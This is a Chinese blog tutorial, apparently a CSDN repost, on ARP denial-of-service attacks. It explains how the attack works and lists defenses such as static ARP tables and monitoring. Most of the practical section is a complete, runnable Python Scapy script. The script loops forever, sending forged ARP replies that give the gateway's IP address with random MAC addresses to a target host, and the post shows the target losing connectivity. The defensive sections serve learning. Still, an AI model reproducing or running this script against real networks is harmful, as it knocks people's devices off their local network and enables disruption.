首页 > 其他分享 >使用 Scapy 库编写 ARP 拒绝服务攻击脚本

使用 Scapy 库编写 ARP 拒绝服务攻击脚本

时间:2024-04-09 09:58:38浏览次数:22  
标签:ARP 拒绝服务 请求 arp Scapy MAC 地址 IP地址

一、ARP 协议基础

参考下篇文章学习

二、ARP 拒绝服务攻击原理:

ARP拒绝服务攻击利用ARP协议的工作原理,通过发送大量的伪造ARP请求来混乱目标设备的ARP缓存,使其无法正确地将IP地址解析为MAC地址。攻击者发送大量的ARP请求,每个请求都会伪造一个源IP地址和源MAC地址。目标设备收到这些伪造的请求后,会将伪造的源IP地址和MAC地址存储在ARP缓存中,覆盖掉真实的映射关系。这样,当其他设备需要与目标设备通信时,由于ARP缓存中的映射关系是错误的,通信将无法正常进行,从而导致拒绝服务

2.1 ARP 拒绝服务攻击步骤:

  • 攻击者获取目标设备的IP地址。
  • 攻击者利用程序或工具发送大量伪造的ARP请求,每个请求都包含一个伪造的源IP地址和源MAC地址,以及目标设备的IP地址。
  • 目标设备收到伪造的ARP请求后,将错误的映射关系存储在ARP缓存中。
  • 当其他设备需要与目标设备通信时,会根据ARP缓存中的错误映射关系发送数据包,导致通信失败。

2.2 防御ARP拒绝服务攻击的方法:

  • 使用静态ARP表:在网络中配置静态ARP表,将每个设备的IP地址与MAC地址直接关联,不使用ARP协议进行解析。这样可以防止ARP缓存被攻击者篡改。
  • ARP缓存监控和清除:监控网络中的ARP缓存,及时发现异常的映射关系,并进行清除,恢复正常的映射关系。
  • 使用防火墙:在网络中设置防火墙,限制对ARP请求的频率和数量,阻止大量伪造的ARP请求进入网络。
  • 网络流量监控:通过监控网络流量,及时发现异常的ARP请求,可以采取相应的措施防止攻击的发生。

三、安装 Scapy 库 

3.1 Windows

pip install scapy

3.2 Linux 

git clone https://github.com/secdev/scapy
cd scapy
./run_scapy 

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:

在Scapy库中,ls(ARP)命令用于显示ARP协议的字段及其默认值。下面是对输出中各字段的解释:

  • hwtype:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。

  • ptype:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。

  • hwlen:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。

  • plen:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。

  • op:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。

  • hwsrc:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • psrc:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

  • hwdst:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • pdst:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

小王:CentOS 9

五、实操演示

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
import random


def arp_dos(target_ip, gateway_ip):
    print("ARP 拒绝服务攻击中...")

    # 创建以太网帧对象
    eth = Ether()

    # 设置以太网帧的目标 MAC 地址为广播地址
    eth.dst = "ff:ff:ff:ff:ff:ff"

    # 创建ARP对象
    arp = ARP()

    # 设置ARP报文的操作码为2,表示ARP响应包
    arp.op = 2

    # 设置ARP报文的源MAC地址为随机生成的MAC地址
    arp.hwsrc = random_mac()

    # 设置ARP报文的源IP地址为网关IP地址
    arp.psrc = gateway_ip

    # 设置ARP报文的目标MAC地址为随机生成的MAC地址
    arp.hwdst = random_mac()

    # 设置ARP报文的目标IP地址为目标IP地址
    arp.pdst = target_ip

    # 使用Scapy中的/运算符将以太网帧对象eth和ARP对象arp组合成一个数据帧
    frame = eth / arp

    # 使用Scapy中的sendp()函数发送构造好的数据帧
    sendp(frame)


def random_mac():
    # 生成随机的MAC地址
    mac = [random.randint(0x00, 0xff) for _ in range(6)]
    return ":".join(["%02x" % byte for byte in mac])


target_ip = "192.168.134.132"  # 目标IP地址
gateway_ip = "192.168.134.254"  # 网关IP地址

while True:
    arp_dos(target_ip, gateway_ip)

发起攻击 

可以发现 IP 地址对应的 MAC 地址一直在变化 

Ping 不通符合实验效果

标签:ARP,拒绝服务,请求,arp,Scapy,MAC,地址,IP地址
From: https://blog.csdn.net/2302_82189125/article/details/136875485

相关文章

  • 【Linux进阶之路】ARP欺骗实验
    正文话不多说,直接干!首先我们需要准备一下环境,先配置VMARE,然后下载KALI的虚拟机。详细的安装教程视频:点击跳转,下载KALI可能要半个小时,中间可以看个剧玩个游戏缓一缓。配置好之后,我们需要先将网络环境配好,我们将电脑连接到手机热点上即可。查看ip地址:用Win+R打开cm......
  • 以太网UDP:心跳包、ICMP与ARP
    参考:https://juejin.cn/post/6844903951452602375心跳包UDP:用户数据报协议:主要用在实时性要求比较高的以及对质量相对较弱的地方.但是面对现在高质量的线路不会容易丢包,除非是一些拥塞条件下,如流媒体TCP:传输控制协议:是面连接的那么运行环境必然要求其可靠性不可丢包,......
  • CSharp: Tuples
     //元组Tuplesvarperson=("GeovinDu",30,"SoftDeveloper");Console.WriteLine(person.Item1);Tuple<string,int,string>persons=newTuple<string,int,string>("GeovinDu",30,"SoftDeveloper");C......
  • C# 通过ARP技术来观察目标主机数据包
    由于之前写的C#实现Arp欺诈的文章属于网络攻击,不能够被展示,所以这边我们稍微说一下C#调用ARP包以及查看其他电脑上网数据包的技术,委婉的说一下ARP在局域网之中的应用。本文章纯属技术讨论,并且涵盖了如何去防止ARP攻击的手段。目录ARP作用ARP欺骗原理工具实战获取本机所有的网......
  • SharpZipLib解压文件夹 包含空文件夹
    原文链接:https://blog.csdn.net/jk007/article/details/30251963usingICSharpCode.SharpZipLib.Zip; publicstaticvoidCompressDirectory(stringiDirectory,stringoFile)    {      FastZipfastzip=newFastZip();      CreateEmp......
  • C#使用ICSharpCode.SharpZipLib.dll进行文件的压缩与解压功能
    原文链接:https://www.jb51.net/article/131706.htm网上大部分都挺复杂usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.IO;usingICSharpCode.SharpZipLib.Zip;usingICSharpCode.SharpZipLib.Checksums;usingSystem......
  • arp欺骗 中间人攻击 后门
    一,arp欺骗在xp中pingkali 并使用命令arp-a查看缓存表记录动态物理地址在win7中打开packeth包 点击interface选择网卡选择network的网卡实验目的对xp130欺骗不能上网(能上网是因为网关的mac地址对应是一样的)首先测试能否上网  把mac地址改了就不能上网......
  • warp:让电脑你更懂你的指令
    什么是WARP?Warp是一款现代化的终端工具,基于Rust构建,内置了人工智能功能,旨在帮助你和你的团队更高效地构建优秀的软件。WARP的具体作用现代编辑:更快地输入、编辑和完成命令。无论你是键盘操作还是使用鼠标设置光标位置,Warp都能让你更轻松地编写命令。WarpAI:再也不用......
  • ARP 攻击神器:Macof 保姆级教程
    一、介绍macof是一个用于生成伪造数据流的网络工具,常用于进行网络攻击和测试。它的主要作用是生成大量的伪造MAC地址的数据包,并将这些数据包发送到网络中,从而混淆网络设备的MAC地址表,导致网络拥堵或服务中断。以下是macof工具的一些特点和用途:伪造MAC地址:macof能......
  • WPF中使用LibVLCSharp.WPF 播放rtsp
    目录LibVLCSharp.WPF简介vlc:VideoView基本使用安装LibVLC播放rtsp引入命名空间xaml代码cs代码截图概述代码示例vlc:VideoView进阶使用空域问题宽高比设置全屏问题拉伸问题响应鼠标点击事件播放其他类型多视频重叠画中画引用 LibVLCShar......